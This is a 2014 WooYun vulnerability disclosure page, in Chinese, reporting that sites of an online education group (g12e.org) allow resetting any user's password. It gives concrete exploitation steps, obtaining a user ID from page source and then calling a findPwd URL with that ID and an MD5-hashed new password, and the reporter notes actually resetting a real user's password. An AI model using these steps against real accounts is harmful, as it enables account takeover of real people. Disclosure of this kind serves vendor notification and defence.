当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2014-050161
漏洞标题：
正保远程教育旗下网站可重置任意用户密码
相关厂商：
g12e.org
漏洞作者：
Coffee
提交时间：
2014-02-10 18:28
修复时间：
2014-02-20 18:28
公开时间：
2014-02-20 18:28
漏洞类型：
设计缺陷/逻辑错误
危害等级：
中
自评Rank：
8
漏洞状态：
漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2014-02-10： 细节已通知厂商并且等待厂商处理中
2014-02-20： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

漏洞影响网站：中华会计网校、医学教育网、建设工程教育网、法律教育网、职业培训教育网、创业实训网、中小学教育网、中小学教育联盟网、自考365、成人高考教育网、考研教育网、外语教育网、中文教育网、ITAT教育网、财考网、正保开放平台。
都是在线学习性质的网站，且用户众多，涉及学员账户安全等问题。
可通过漏洞实现重置任意用户密码。
新手来混个邀请码~

详细说明：

以旗下的中小学教育联盟网为例(联盟已有 4158 所学校、64293 条资源、699639 位实名用户):www.g12r.org
#1、userNO的取得
http://portal.g12e.org/user/用户名，右键查看源文件，得到spaceID，即为该用户的userNO。
如http://portal.g12e.org/user/test，对应userNO:21018551。

userNO的取得.png


#2、重置密码链接
http://portal.g12e.org/sys/user/findPwd/userFindPwd4.shtm?userNO=用户ID&newPwd=MD5（32位）加密的新密码
如重置用户名为test的用户密码为123456：
http://portal.g12e.org/sys/user/findPwd/userFindPwd4.shtm?userNO=21018551&newPwd=E10ADC3949BA59ABBE56E057F20F883E

.png


#3、成功登录

.png

漏洞证明：

.png


还可用此方法重置管理员密码，继续深入，不过我就不来了。

修复方案：

重置密码的链接添加验证。
另外不好意思把g12e.org用户名为test的同学密码给改了，麻烦管理员再处理一下。

版权声明：转载请注明来源 Coffee@乌云

>

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-02-20 18:28

厂商回复：

最新状态：

暂无